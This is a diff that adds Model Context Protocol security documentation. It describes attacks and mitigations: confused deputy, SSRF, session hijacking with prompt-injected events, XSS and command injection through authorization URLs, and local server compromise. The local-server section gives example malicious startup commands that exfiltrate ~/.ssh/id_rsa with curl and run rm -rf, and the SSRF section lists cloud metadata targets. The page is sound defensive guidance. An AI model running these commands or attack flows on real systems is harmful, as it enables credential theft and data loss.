+* **Error detail leakage**. Return generic messages to clients, but log detailed reasons with correlation IDs internally to aid troubleshooting without exposing internals.
+* **Session identifier hardening**. Treat `Mcp-Session-Id` as untrusted input; never tie authorization to it. Regenerate on auth changes and validate lifecycle server‑side.
+
+## Related Standards and Documentation
+
+MCP authorization builds on these well-established standards:
+
+* **[OAuth 2.1](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13)**: The core authorization framework
+* **[RFC 8414](https://datatracker.ietf.org/doc/html/rfc8414)**: Authorization Server Metadata discovery
+* **[RFC 7591](https://datatracker.ietf.org/doc/html/rfc7591)**: Dynamic Client Registration
+* **[RFC 9728](https://datatracker.ietf.org/doc/html/rfc9728)**: Protected Resource Metadata
+* **[RFC 8707](https://datatracker.ietf.org/doc/html/rfc8707)**: Resource Indicators
+
+For additional details, refer to:
+
+* [Authorization Specification](/specification/2025-11-25/basic/authorization)
+* [Security Best Practices](/docs/2025-11-25/tutorials/security/security_best_practices)
+* [Available MCP SDKs](/docs/2025-11-25/sdk)
+
+Understanding these standards will help you implement authorization correctly and troubleshoot issues when they arise.
diff --git a/content/mcp/docs/2025-11-25/tutorials/security/security_best_practices.md b/content/mcp/docs/2025-11-25/tutorials/security/security_best_practices.md
new file mode 100644
index 000000000..40e37ae0d
--- /dev/null
+++ b/content/mcp/docs/2025-11-25/tutorials/security/security_best_practices.md
@@ -0,0 +1,901 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Security Best Practices
+
+> Security considerations, attack vectors, and best practices for MCP implementations
+
+## Introduction
+
+### Purpose and Scope
+
+This document provides security considerations for the Model Context
+Protocol (MCP), complementing the
+[MCP Authorization](/specification/2025-11-25/basic/authorization)
+specification. This document identifies security risks, attack vectors,
+and best practices specific to MCP implementations.
+
+The primary audience for this document includes developers implementing
+MCP authorization flows, MCP server operators, and security
+professionals evaluating MCP-based systems. This document should be read
+alongside the MCP Authorization specification and
+[OAuth 2.0 security best practices](https://datatracker.ietf.org/doc/html/rfc9700).
+
+## Attacks and Mitigations
+
+This section gives a detailed description of attacks on MCP
+implementations, along with potential countermeasures.
+
+### Confused Deputy Problem
+
+Attackers can exploit MCP proxy servers that connect to third-party
+APIs, creating
+"[confused deputy](https://en.wikipedia.org/wiki/Confused_deputy_problem)"
+vulnerabilities. This attack allows malicious clients to obtain
+authorization codes without proper user consent by exploiting the
+combination of static client IDs, dynamic client registration, and
+consent cookies.
+
+#### Terminology
+
+**MCP Proxy Server**
+: An MCP server that connects MCP clients to third-party APIs, offering
+MCP features while delegating operations and acting as a single OAuth
+client to the third-party API server.
+
+**Third-Party Authorization Server**
+: Authorization server that protects the third-party API. It may lack
+dynamic client registration support, requiring the MCP proxy to use a
+static client ID for all requests.
+
+**Third-Party API**
+: The protected resource server that provides the actual API
+functionality. Access to this API requires tokens issued by the
+third-party authorization server.
+
+**Static Client ID**
+: A fixed OAuth 2.0 client identifier used by the MCP proxy server when
+communicating with the third-party authorization server. This Client ID
+refers to the MCP server acting as a client to the Third-Party API. It
+is the same value for all MCP server to Third-Party API interactions
+regardless of which MCP client initiated the request.
+
+#### Vulnerable Conditions
+
+This attack becomes possible when all of the following conditions are
+present:
+
+* MCP proxy server uses a **static client ID** with a third-party
+ authorization server
+* MCP proxy server allows MCP clients to **dynamically register** (each
+ getting their own client\_id)
+* The third-party authorization server sets a **consent cookie** after
+ the first authorization
+* MCP proxy server does not implement proper per-client consent before
+ forwarding to third-party authorization
+
+#### Architecture and Attack Flows
+
+##### Normal OAuth proxy usage (preserves user consent)
+
+```mermaid theme={null}
+sequenceDiagram
+ participant UA as User-Agent (Browser)
+ participant MC as MCP Client
+ participant M as MCP Proxy Server
+ participant TAS as Third-Party Authorization Server
+
+ Note over UA,M: Initial Auth flow completed
+
+ Note over UA,TAS: Step 1: Legitimate user consent for Third Party Server
+
+ M->>UA: Redirect to third party authorization server
+ UA->>TAS: Authorization request (client_id: mcp-proxy)
+ TAS->>UA: Authorization consent screen
+ Note over UA: Review consent screen
+ UA->>TAS: Approve
+ TAS->>UA: Set consent cookie for client ID: mcp-proxy
+ TAS->>UA: 3P Authorization code + redirect to mcp-proxy-server.com
+ UA->>M: 3P Authorization code
+ Note over M,TAS: Exchange 3P code for 3P token
+ Note over M: Generate MCP authorization code
+ M->>UA: Redirect to MCP Client with MCP authorization code
+
+ Note over M,UA: Exchange code for token, etc.
+```
+
+##### Malicious OAuth proxy usage (skips user consent)
+
+```mermaid theme={null}
+sequenceDiagram
+ participant UA as User-Agent (Browser)
+ participant M as MCP Proxy Server
+ participant TAS as Third-Party Authorization Server
+ participant A as Attacker
+
+
+ Note over UA,A: Step 2: Attack (leveraging existing cookie, skipping consent)
+ A->>M: Dynamically register malicious client, redirect_uri: attacker.com
+ A->>UA: Sends malicious link
+ UA->>TAS: Authorization request (client_id: mcp-proxy) + consent cookie
+ rect rgba(255, 17, 0, 0.67)
+ TAS->>TAS: Cookie present, consent skipped
+ end
+
+ TAS->>UA: 3P Authorization code + redirect to mcp-proxy-server.com
+ UA->>M: 3P Authorization code
+ Note over M,TAS: Exchange 3P code for 3P token
+ Note over M: Generate MCP authorization code
+ M->>UA: Redirect to attacker.com with MCP Authorization code
+ UA->>A: MCP Authorization code delivered to attacker.com
+ Note over M,A: Attacker exchanges MCP code for MCP token
+ A->>M: Attacker impersonates user to MCP server
+```
+
+#### Attack Description
+
+When an MCP proxy server uses a static client ID to authenticate with
+a third-party authorization server, the following attack becomes
+possible:
+
+1. A user authenticates normally through the MCP proxy server to access
+ the third-party API
+2. During this flow, the third-party authorization server sets a cookie
+ on the user agent indicating consent for the static client ID
+3. An attacker later sends the user a malicious link containing a
+ crafted authorization request which contains a malicious redirect URI
+ along with a new dynamically registered client ID
+4. When the user clicks the link, their browser still has the consent
+ cookie from the previous legitimate request
+5. The third-party authorization server detects the cookie and skips the
+ consent screen
+6. The MCP authorization code is redirected to the attacker's server
+ (specified in the malicious `redirect_uri` parameter during
+ [dynamic client registration](/specification/2025-11-25/basic/authorization#dynamic-client-registration))
+7. The attacker exchanges the stolen authorization code for access
+ tokens for the MCP server without the user's explicit approval
+8. The attacker now has access to the third-party API as the compromised
+ user
+
+#### Mitigation
+
+To prevent confused deputy attacks, MCP proxy servers **MUST** implement
+per-client consent and proper security controls as detailed below.
+
+##### Consent Flow Implementation
+
+The following diagram shows how to properly implement per-client consent
+that runs **before** the third-party authorization flow:
+
+```mermaid theme={null}
+sequenceDiagram
+ participant Client as MCP Client
+ participant Browser as User's Browser
+ participant MCP as MCP Server
+ participant ThirdParty as Third-Party AuthZ Server
+
+ Note over Client,ThirdParty: 1. Client Registration (Dynamic)
+ Client->>MCP: Register with redirect_uri
+ MCP-->>Client: client_id
+
+ Note over Client,ThirdParty: 2. Authorization Request
+ Client->>Browser: Open MCP server authorization URL
+ Browser->>MCP: GET /authorize?client_id=...&redirect_uri=...
+
+ alt Check MCP Server Consent
+ MCP->>MCP: Check consent for this client_id
+ Note over MCP: Not previously approved
+ end
+
+ MCP->>Browser: Show MCP server-owned consent page
+ Note over Browser: "Allow [Client Name] to access [Third-Party API]?"
+ Browser->>MCP: POST /consent (approve)
+ MCP->>MCP: Store consent decision for client_id
+
+ Note over Client,ThirdParty: 3. Forward to Third-Party
+ MCP->>Browser: Redirect to third-party /authorize
+ Note over MCP: Use static client_id for third-party
+
+ Browser->>ThirdParty: Authorization request (static client_id)
+ ThirdParty->>Browser: User authenticates & consents
+ ThirdParty->>Browser: Redirect with auth code
+
+ Browser->>MCP: Callback with third-party code
+ MCP->>ThirdParty: Exchange code for token (using static client_id)
+ MCP->>Browser: Redirect to client's registered redirect_uri
+```
+
+##### Required Protections
+
+**Per-Client Consent Storage**
+
+MCP proxy servers **MUST**:
+
+* Maintain a registry of approved `client_id` values per user
+* Check this registry **before** initiating the third-party
+ authorization flow
+* Store consent decisions securely (server-side database, or server
+ specific cookies)
+
+**Consent UI Requirements**
+
+The MCP-level consent page **MUST**:
+
+* Clearly identify the requesting MCP client by name
+* Display the specific third-party API scopes being requested
+* Show the registered `redirect_uri` where tokens will be sent
+* Implement CSRF protection (e.g., state parameter, CSRF tokens)
+* Prevent iframing via `frame-ancestors` CSP directive or
+ `X-Frame-Options: DENY` to prevent clickjacking
+
+**Consent Cookie Security**
+
+If using cookies to track consent decisions, they **MUST**:
+
+* Use `__Host-` prefix for cookie names
+* Set `Secure`, `HttpOnly`, and `SameSite=Lax` attributes
+* Be cryptographically signed or use server-side sessions
+* Bind to the specific `client_id` (not just "user has consented")
+
+**Redirect URI Validation**
+
+The MCP proxy server **MUST**:
+
+* Validate that the `redirect_uri` in authorization requests exactly
+ matches the registered URI
+* Reject requests if the `redirect_uri` has changed without
+ re-registration
+* Use exact string matching (not pattern matching or wildcards)
+
+**OAuth State Parameter Validation**
+
+The OAuth `state` parameter is critical to prevent authorization code
+interception and CSRF attacks. Proper state validation ensures that
+consent approval at the authorization endpoint is enforced at the
+callback endpoint.
+
+MCP proxy servers implementing OAuth flows **MUST**:
+
+* Generate a cryptographically secure random `state` value for each
+ authorization request
+* Store the `state` value server-side (in a secure session store or
+ encrypted cookie) **only after** consent has been explicitly approved
+* Set the `state` tracking cookie/session **immediately before**
+ redirecting to the third-party identity provider (not before consent
+ approval)
+* Validate at the callback endpoint that the `state` query parameter
+ exactly matches the stored value in the callback request's cookies or
+ in the request's cookie-based session
+* Reject any callback requests where the `state` parameter is missing
+ or does not match
+* Ensure `state` values are single-use (delete after validation) and
+ have a short expiration time (e.g., 10 minutes)
+
+The consent cookie or session containing the `state` value **MUST NOT**
+be set until **after** the user has approved the consent screen at the
+MCP server's authorization endpoint. Setting this cookie before consent
+approval renders the consent screen ineffective, as an attacker could
+bypass it by crafting a malicious authorization request.
+
+### Token Passthrough
+
+"Token passthrough" is an anti-pattern where an MCP server accepts
+tokens from an MCP client without validating that the tokens were
+properly issued *to the MCP server* and passes them through to the
+downstream API.
+
+#### Risks
+
+Token passthrough is explicitly forbidden in the
+[authorization specification](/specification/2025-11-25/basic/authorization)
+as it introduces a number of security risks, that include:
+
+* **Security Control Circumvention**
+ * The MCP Server or downstream APIs might implement important security
+ controls like rate limiting, request validation, or traffic
+ monitoring, that depend on the token audience or other credential
+ constraints. If clients can obtain and use tokens directly with the
+ downstream APIs without the MCP server validating them properly or
+ ensuring that the tokens are issued for the right service, they
+ bypass these controls.
+* **Accountability and Audit Trail Issues**
+ * The MCP Server will be unable to identify or distinguish between MCP
+ Clients when clients are calling with an upstream-issued access token
+ which may be opaque to the MCP Server.
+ * The downstream Resource Server's logs may show requests that appear
+ to come from a different source with a different identity, rather
+ than the MCP server that is actually forwarding the tokens.
+ * Both factors make incident investigation, controls, and auditing
+ more difficult.
+ * If the MCP Server passes tokens without validating their claims
+ (e.g., roles, privileges, or audience) or other metadata, a
+ malicious actor in possession of a stolen token can use the server
+ as a proxy for data exfiltration.
+* **Trust Boundary Issues**
+ * The downstream Resource Server grants trust to specific entities.
+ This trust might include assumptions about origin or client behavior
+ patterns. Breaking this trust boundary could lead to unexpected
+ issues.
+ * If the token is accepted by multiple services without proper
+ validation, an attacker compromising one service can use the token
+ to access other connected services.
+* **Future Compatibility Risk**
+ * Even if an MCP Server starts as a "pure proxy" today, it might need
+ to add security controls later. Starting with proper token audience
+ separation makes it easier to evolve the security model.
+
+#### Mitigation
+
+MCP servers **MUST NOT** accept any tokens that were not explicitly
+issued for the MCP server.
+
+### Server-Side Request Forgery (SSRF)
+
+Server-Side Request Forgery (SSRF) is an attack where an attacker can
+induce an MCP client to make HTTP requests to unintended destinations,
+potentially accessing internal network resources, cloud metadata
+endpoints, or other protected services.
+
+#### Attack Description
+
+During OAuth metadata discovery, MCP clients fetch URLs from several
+sources that could be controlled by a malicious MCP server:
+
+1. The `resource_metadata` URL from the `WWW-Authenticate` header
+2. The `authorization_servers` URLs from the Protected Resource Metadata
+ document
+3. The `token_endpoint`, `authorization_endpoint`, and other URLs from
+ Authorization Server Metadata
+
+A malicious MCP server can populate these fields with URLs pointing to
+internal resources, enabling the following attack patterns:
+
+* **Direct internal IP access**: URLs like `http://192.168.1.1/admin` or
+ `http://10.0.0.1/api` target internal network services
+* **Cloud metadata endpoints**: URLs targeting
+ `http://169.254.169.254/` (AWS/GCP/Azure metadata service) can
+ exfiltrate cloud credentials and instance information
+* **Localhost services**: URLs like `http://localhost:6379/` can interact
+ with local services (Redis, databases, admin panels)
+* **DNS rebinding**: Domains that change DNS resolution between
+ validation and use (e.g., `https://attacker.com` resolving to a safe
+ IP initially, then to `192.168.1.1`)
+* **Redirect chains**: Normal-looking URLs that redirect to internal
+ resources
+
+```mermaid theme={null}
+sequenceDiagram
+ participant Client as MCP Client
+ participant MCP as Malicious MCP Server
+ participant Internal as Internal Service
+
+ Client->>MCP: Connect to MCP server
+ MCP-->>Client: 401 + resource_metadata="http://169.254.169.254/..."
+
+ Note over Client: Client follows URL without validation
+ Client->>Internal: GET http://169.254.169.254/latest/meta-data/
+ Internal-->>Client: Cloud credentials/metadata
+
+ Note over Client: Error or response details leak to attacker
+ Client->>MCP: Subsequent request with error details
+```
+
+#### Risks
+
+* **Credential exfiltration**: Cloud metadata endpoints often expose
+ IAM credentials, API keys, and other secrets
+* **Internal network reconnaissance**: Error messages reveal information
+ about internal network topology and services
+* **Service interaction**: POST requests (e.g., to token endpoints) can
+ trigger mutations on internal services
+* **Firewall bypass**: The MCP client acts as a proxy, bypassing network
+ perimeter controls
+* **Data exfiltration**: Internal service responses may be reflected back
+ to attackers through error messages or OAuth flows
+
+#### Mitigation
+
+MCP clients deployed to a server **MUST** consider SSRF risks and
+implement appropriate mitigations when fetching OAuth-related URLs.
+Which protections are appropriate depend on your network environment.
+
+**Enforce HTTPS**
+
+MCP clients **SHOULD** require HTTPS for all OAuth-related URLs in
+production environments:
+
+* Reject `http://` URLs except for loopback addresses (`localhost`,
+ `127.0.0.1`, `::1`) during development
+* This aligns with
+ [OAuth 2.1 Section 1.5](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-1.5)
+ which requires HTTPS for all OAuth protocol URLs except loopback
+ redirect URIs
+* Provide an explicit opt-out mechanism for development/testing
+ scenarios
+
+**Block Private IP Ranges**
+
+MCP clients **SHOULD** block requests to private and reserved IP address
+ranges as recommended by
+[RFC 9728 Section 7.7](https://datatracker.ietf.org/doc/html/rfc9728#section-7.7):
+
+* Private IPv4 ranges: `10.0.0.0/8`, `172.16.0.0/12`,
+ `192.168.0.0/16`
+* Loopback: `127.0.0.0/8`, `::1` (except when explicitly allowed for
+ development)
+* Link-local: `169.254.0.0/16` (including cloud metadata endpoints)
+* Private IPv6 ranges: `fc00::/7`, `fe80::/10`
+
+
+ Avoid implementing IP validation manually. Attackers exploit encoding tricks
+ (octal, hex, IPv4-mapped IPv6) that custom parsers often miss.
+
+
+**Validate Redirect Targets**
+
+MCP clients **SHOULD** apply the same URL validation to redirect
+targets:
+
+* Do not blindly follow redirects to internal resources
+* Apply HTTPS and IP range restrictions to redirect destinations
+* Consider disabling automatic redirect following and validating each
+ hop
+
+**Use Egress Proxies**
+
+For server-side MCP client deployments, operators **SHOULD** consider
+using an egress proxy that enforces network policies:
+
+* Route OAuth discovery requests through a proxy that blocks internal
+ destinations
+* Use tools like
+ [Smokescreen](https://github.com/stripe/smokescreen) or similar
+ egress proxies that prevent SSRF by design
+* Configure network policies to restrict the MCP client's outbound
+ access
+
+**DNS Resolution Considerations**
+
+Be aware of Time-of-Check to Time-of-Use (TOCTOU) issues with
+DNS-based validation:
+
+* An attacker's domain may resolve to a safe IP during validation but
+ to an internal IP during the actual request
+* Consider pinning DNS resolution results between check and use
+* Defense in depth: combine DNS checks with other mitigations
+
+#### Resources and Tools
+
+The following resources can help developers implement SSRF protections
+in MCP clients.
+
+**Reference Documentation**
+
+* [OWASP SSRF Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html):
+ Comprehensive guidance on SSRF prevention techniques, including input
+ validation, allowlist strategies, and network-level controls
+* [OWASP Top 10 A10:2021 - SSRF](https://owasp.org/Top10/2021/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/):
+ SSRF in the context of the most critical web application security
+ risks
+
+### Session Hijacking
+
+Session hijacking is an attack vector where a client is provided a
+session ID by the server, and an unauthorized party is able to obtain
+and use that same session ID to impersonate the original client and
+perform unauthorized actions on their behalf.
+
+#### Session Hijack Prompt Injection
+
+```mermaid theme={null}
+sequenceDiagram
+ participant Client
+ participant ServerA
+ participant Queue
+ participant ServerB
+ participant Attacker
+
+ Client->>ServerA: Initialize (connect to streamable HTTP server)
+ ServerA-->>Client: Respond with session ID
+
+ Attacker->>ServerB: Access/guess session ID
+ Note right of Attacker: Attacker knows/guesses session ID
+
+ Attacker->>ServerB: Trigger event (malicious payload, using session ID)
+ ServerB->>Queue: Enqueue event (keyed by session ID)
+
+ ServerA->>Queue: Poll for events (using session ID)
+ Queue-->>ServerA: Event data (malicious payload)
+
+ ServerA-->>Client: Async response (malicious payload)
+ Client->>Client: Acts based on malicious payload
+```
+
+#### Session Hijack Impersonation
+
+```mermaid theme={null}
+sequenceDiagram
+ participant Client
+ participant Server
+ participant Attacker
+
+ Client->>Server: Initialize (login/authenticate)
+ Server-->>Client: Respond with session ID (persistent session created)
+
+ Attacker->>Server: Access/guess session ID
+ Note right of Attacker: Attacker knows/guesses session ID
+
+ Attacker->>Server: Make API call (using session ID, no re-auth)
+ Server-->>Attacker: Respond as if Attacker is Client (session hijack)
+```
+
+#### Attack Description
+
+When you have multiple stateful HTTP servers that handle MCP requests,
+the following attack vectors are possible:
+
+**Session Hijack Prompt Injection**
+
+1. The client connects to **Server A** and receives a session ID.
+
+2. The attacker obtains an existing session ID and sends a malicious
+ event to **Server B** with said session ID.
+ * When a server supports
+ [redelivery/resumable streams](/specification/2025-11-25/basic/transports#resumability-and-redelivery),
+ deliberately terminating the request before receiving the response
+ could lead to it being resumed by the original client via the GET
+ request for server sent events.
+ * If a particular server initiates server sent events as a
+ consequence of a tool call such as a
+ `notifications/tools/list_changed`, where it is possible to affect
+ the tools that are offered by the server, a client could end up
+ with tools that they were not aware were enabled.
+
+3. **Server B** enqueues the event (associated with session ID) into a
+ shared queue.
+
+4. **Server A** polls the queue for events using the session ID and
+ retrieves the malicious payload.
+
+5. **Server A** sends the malicious payload to the client as an
+ asynchronous or resumed response.
+
+6. The client receives and acts on the malicious payload, leading to
+ potential compromise.
+
+**Session Hijack Impersonation**
+
+1. The MCP client authenticates with the MCP server, creating a
+ persistent session ID.
+2. The attacker obtains the session ID.
+3. The attacker makes calls to the MCP server using the session ID.
+4. MCP server does not check for additional authorization and treats the
+ attacker as a legitimate user, allowing unauthorized access or
+ actions.
+
+#### Mitigation
+
+To prevent session hijacking and event injection attacks, the following
+mitigations should be implemented:
+
+MCP servers that implement authorization **MUST** verify all inbound
+requests. MCP Servers **MUST NOT** use sessions for authentication.
+
+MCP servers **MUST** use secure, non-deterministic session IDs.
+Generated session IDs (e.g., UUIDs) **SHOULD** use secure random number
+generators. Avoid predictable or sequential session identifiers that
+could be guessed by an attacker. Rotating or expiring session IDs can
+also reduce the risk.
+
+MCP servers **SHOULD** bind session IDs to user-specific information.
+When storing or transmitting session-related data (e.g., in a queue),
+combine the session ID with information unique to the authorized user,
+such as their internal user ID. Use a key format like
+`:`. This ensures that even if an attacker guesses
+a session ID, they cannot impersonate another user as the user ID is
+derived from the user token and not provided by the client.
+
+MCP servers can optionally leverage additional unique identifiers.
+
+### Local MCP Server Compromise
+
+Local MCP servers are MCP Servers running on a user's local machine,
+either by the user downloading and executing a server, authoring a
+server themselves, or installing through a client's configuration flows.
+These servers may have direct access to the user's system and may be
+accessible to other processes running on the user's machine, making them
+attractive targets for attacks.
+
+#### Attack Description
+
+Local MCP servers are binaries that are downloaded and executed on the
+same machine as the MCP client. Without proper sandboxing and consent
+requirements in place, the following attacks become possible:
+
+1. An attacker includes a malicious "startup" command in a client
+ configuration
+2. An attacker distributes a malicious payload inside the server itself
+3. An attacker accesses an insecure local server that's left running on
+ localhost via DNS rebinding
+
+Example malicious startup commands that could be embedded:
+
+```bash theme={null}
+# Data exfiltration
+npx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://example.com/evil-location
+
+# Privilege escalation
+sudo rm -rf /important/system/files && echo "MCP server installed!"
+```
+
+#### Risks
+
+Local MCP servers with inadequate restrictions or from untrusted sources
+introduce several critical security risks:
+
+* **Arbitrary code execution**. Attackers can execute any command with
+ MCP client privileges.
+* **No visibility**. Users have no insight into what commands are being
+ executed.
+* **Command obfuscation**. Malicious actors can use complex or
+ convoluted commands to appear legitimate.
+* **Data exfiltration**. Attackers can access legitimate local MCP
+ servers via compromised JavaScript.
+* **Data loss**. Attackers or bugs in legitimate servers could lead to
+ irrecoverable data loss on the host machine.
+
+#### Mitigation
+
+If an MCP client supports one-click local MCP server configuration, it
+**MUST** implement proper consent mechanisms prior to executing commands.
+
+**Pre-Configuration Consent**
+
+Display a clear consent dialog before connecting a new local MCP server
+via one-click configuration. The MCP client **MUST**:
+
+* Show the exact command that will be executed, without truncation
+ (include arguments and parameters)
+* Clearly identify it as a potentially dangerous operation that executes
+ code on the user's system
+* Require explicit user approval before proceeding
+* Allow users to cancel the configuration
+
+The MCP client **SHOULD** implement additional checks and guardrails to
+mitigate potential code execution attack vectors:
+
+* Highlight potentially dangerous command patterns (e.g., commands
+ containing `sudo`, `rm -rf`, network operations, file system access
+ outside expected directories)
+* Display warnings for commands that access sensitive locations (home
+ directory, SSH keys, system directories)
+* Warn that MCP servers run with the same privileges as the client
+* Execute MCP server commands in a sandboxed environment with minimal
+ default privileges
+* Launch MCP servers with restricted access to the file system, network,
+ and other system resources
+* Provide mechanisms for users to explicitly grant additional privileges
+ (e.g., specific directory access, network access) when needed
+* Use platform-appropriate sandboxing technologies (containers, chroot,
+ application sandboxes, etc.)
+* Keep sandboxing solutions up-to-date to account for emerging
+ vulnerabilities
+
+MCP servers intending for their servers to be run locally **SHOULD**
+implement measures to prevent unauthorized usage from malicious
+processes:
+
+* Use the `stdio` transport to limit access to just the MCP client
+* Restrict access if using an HTTP transport, such as:
+ * Require an authorization token
+ * Use unix domain sockets or other Interprocess Communication (IPC)
+ mechanisms with restricted access
+
+### OAuth Authorization URL Validation
+
+OAuth authorization URLs provided by malicious MCP servers can exploit client-side URL handling vulnerabilities, leading to Cross-Site Scripting (XSS) attacks and Remote Code Execution (RCE).
+
+#### Attack Description
+
+During the OAuth authorization flow, MCP servers provide authorization URLs that clients open in browsers or handle programmatically. Malicious servers can exploit insufficient URL validation in MCP clients through the following attack vectors:
+
+**JavaScript URL Injection (XSS)**
+
+1. A malicious MCP server provides a `javascript:` URL as the authorization endpoint
+2. The MCP client passes this URL directly to `window.open()` or similar browser APIs
+3. The browser executes the JavaScript code embedded in the URL
+4. The attacker gains JavaScript execution context within the client application, potentially leading to session hijacking, credential theft, or further exploitation
+
+**Command Injection via Shell Execution**
+
+1. A malicious MCP server provides a URL containing shell command injection payloads
+2. The MCP client uses shell commands (e.g., `cmd.exe`, PowerShell, or shell scripts) to open the URL
+3. The shell interprets parts of the URL as additional commands to execute
+4. The attacker achieves arbitrary code execution on the user's system
+
+**stdio Transport Privilege Escalation**
+
+When XSS vulnerabilities are combined with `stdio` transport capabilities,
+attackers can escalate web-based attacks to full system compromise. See
+[stdio Transport Security in Proxy Scenarios](#stdio-transport-security-in-proxy-scenarios)
+for detailed attack vectors and mitigations.
+
+```mermaid theme={null}
+sequenceDiagram
+ participant MaliciousMCP as Malicious MCP Server
+ participant Client as MCP Client
+ participant Proxy as MCP Proxy
+ participant System as Host System
+
+ MaliciousMCP->>Client: Malicious authorization URL (javascript:)
+ Client->>Client: Execute JavaScript (XSS)
+ Client->>Client: Extract proxy auth token
+ Client->>Proxy: Malicious stdio command request
+ Note over Client,Proxy: Using stolen authentication token
+ Proxy->>System: Execute arbitrary command
+ System-->>Proxy: Command output
+ Proxy-->>Client: Command result
+ Client-->>MaliciousMCP: Exfiltrate data/establish persistence
+```
+
+#### Risks
+
+OAuth authorization URL vulnerabilities introduce several critical security risks:
+
+* **Cross-Site Scripting (XSS)**. Malicious JavaScript execution can lead to session hijacking, credential theft, and unauthorized actions within the client application.
+* **Remote Code Execution (RCE)**. Command injection through shell execution allows attackers to run arbitrary code with user privileges.
+* **Privilege Escalation**. XSS combined with `stdio` transport can escalate web-based attacks to full system compromise.
+* **Data Exfiltration**. Attackers can access sensitive data, configuration files, and credentials stored on the user's system.
+* **Persistence**. Attackers can install malware, create backdoors, or modify system configurations for persistent access.
+
+#### Mitigation
+
+**URL Scheme Validation**
+
+MCP clients **MUST** validate authorization URLs and reject dangerous schemes:
+
+* **MUST** only allow `http://` and `https://` schemes for authorization URLs.
+ The `http://` scheme is acceptable only for loopback addresses (such as
+ `localhost`, `127.0.0.1`, or `::1`) during local development; authorization
+ servers in production **MUST** use `https://`.
+* **MUST** reject `javascript:`, `data:`, `file:`, `vbscript:`, and other potentially dangerous schemes
+* **SHOULD** use allowlist-based validation rather than blocklist-based approaches
+
+**Secure URL Opening**
+
+MCP clients **MUST** avoid shell execution when opening URLs:
+
+* **MUST NOT** use shell commands (e.g., `cmd.exe`, `sh`, PowerShell) to open URLs
+* **SHOULD** use platform-specific, non-shell URL opening mechanisms
+
+**Content Security Policy (CSP)**
+
+Web-based MCP clients **SHOULD** implement Content Security Policy headers to prevent JavaScript execution:
+
+* Set `script-src 'self'` to prevent execution of inline JavaScript
+* Use `default-src 'self'` to restrict resource loading
+* Consider `script-src 'nonce-'` for dynamic content that requires inline scripts
+
+**Input Sanitization**
+
+MCP clients **MUST** sanitize and validate all URLs received from MCP servers:
+
+* Implement strict URL parsing and validation
+* Reject URLs with special characters that could be interpreted by shells
+* Consider using dedicated URL sanitization libraries
+* Log suspicious authorization URLs for security monitoring
+
+### stdio Transport Security in Proxy Scenarios
+
+The `stdio` transport itself is not inherently vulnerable. However, in proxy architectures where a separate proxy service manages `stdio` connections and can spawn MCP servers as child processes, it can provide a critical escalation path from web-based attacks to full system compromise.
+
+#### Attack Description
+
+**Important**: This attack vector only applies to MCP implementations that use a proxy architecture, not to direct `stdio` transport usage.
+
+In proxy-based MCP implementations, a local proxy service sits between the client and MCP servers, spawning servers as child processes via the `stdio` transport. This architecture creates a privileged escalation path when combined with client-side vulnerabilities:
+
+1. Attacker achieves XSS or other client-side code execution (e.g., through OAuth URL vulnerabilities)
+2. Using the attack vector above, the malicious actor accesses the MCP proxy authentication token established between the client and the proxy from the client's environment
+3. Malicious actor makes authenticated requests to the local MCP proxy service
+4. Proxy spawns arbitrary commands via the `stdio` transport (believing they are legitimate MCP server commands)
+5. Attacker achieves Remote Code Execution with user privileges
+
+#### Risks
+
+* **Privilege Escalation**. Web-based vulnerabilities (XSS) can escalate to arbitrary code execution on the host system through proxy command execution
+* **Authentication Bypass**. Stolen proxy authentication tokens allow unauthorized access to stdio process spawning capabilities
+* **System Compromise**. Attackers can execute any command that the MCP proxy process has privileges to run
+
+#### Mitigation
+
+The primary defense is to prevent classes of vulnerabilities that enable this attack vector:
+
+* Implement the mitigations described in [OAuth Authorization URL Validation](#oauth-authorization-url-validation)
+* Use Content Security Policy (CSP) to prevent JavaScript execution from untrusted sources
+* Validate and sanitize all input from MCP servers before processing
+
+Since XSS fundamentally compromises the client's security context, focus on limiting the damage:
+
+**stdio Transport Restrictions**
+
+MCP proxy services **SHOULD** implement additional security controls for `stdio` transport:
+
+* Implement sandboxing or containerization for spawned processes
+* Restrict file system access for spawned MCP servers
+* Log all `stdio` transport usage for security monitoring
+* Require additional authorization for potentially dangerous commands
+
+**Client-Side Protections**
+
+MCP clients **SHOULD** implement defense-in-depth measures:
+
+* Isolate proxy communication in a separate security context when possible
+* Use principle of least privilege for proxy process permissions
+* Implement process-level sandboxing for the proxy service itself
+* Consider running the proxy in a container or restricted environment
+
+### Scope Minimization
+
+Poor scope design increases token compromise impact, elevates user
+friction, and obscures audit trails.
+
+#### Attack Description
+
+An attacker obtains (via log leakage, memory scraping, or local
+interception) an access token carrying broad scopes (`files:*`, `db:*`,
+`admin:*`) that were granted up front because the MCP server exposed
+every scope in `scopes_supported` and the client requested them all.
+The token enables lateral data access, privilege chaining, and difficult
+revocation without re-consenting the entire surface.
+
+#### Risks
+
+* Expanded blast radius: stolen broad token enables unrelated
+ tool/resource access
+* Higher friction on revocation: revoking a max-privilege token disrupts
+ all workflows
+* Audit noise: single omnibus scope masks user intent per operation
+* Privilege chaining: attacker can immediately invoke high-risk tools
+ without further elevation prompts
+* Consent abandonment: users decline dialogs listing excessive scopes
+* Scope inflation blindness: lack of metrics makes over-broad requests
+ normalised
+
+#### Mitigation
+
+Implement a progressive, least-privilege scope model:
+
+* Minimal initial scope set (e.g., `mcp:tools-basic`) containing only
+ low-risk discovery/read operations
+* Incremental elevation via targeted `WWW-Authenticate` `scope="..."`
+ challenges when privileged operations are first attempted
+* Down-scoping tolerance: server should accept reduced scope tokens;
+ auth server MAY issue a subset of requested scopes
+
+Server guidance:
+
+* Emit precise scope challenges; avoid returning the full catalog
+* Log elevation events (scope requested, granted subset) with
+ correlation IDs
+
+Client guidance:
+
+* Begin with only baseline scopes (or those specified by initial
+ `WWW-Authenticate`)
+* Cache recent failures to avoid repeated elevation loops for denied
+ scopes
+
+#### Common Mistakes
+
+* Publishing all possible scopes in `scopes_supported`
+* Using wildcard or omnibus scopes (`*`, `all`, `full-access`)
+* Bundling unrelated privileges to preempt future prompts
+* Returning entire scope catalog in every challenge
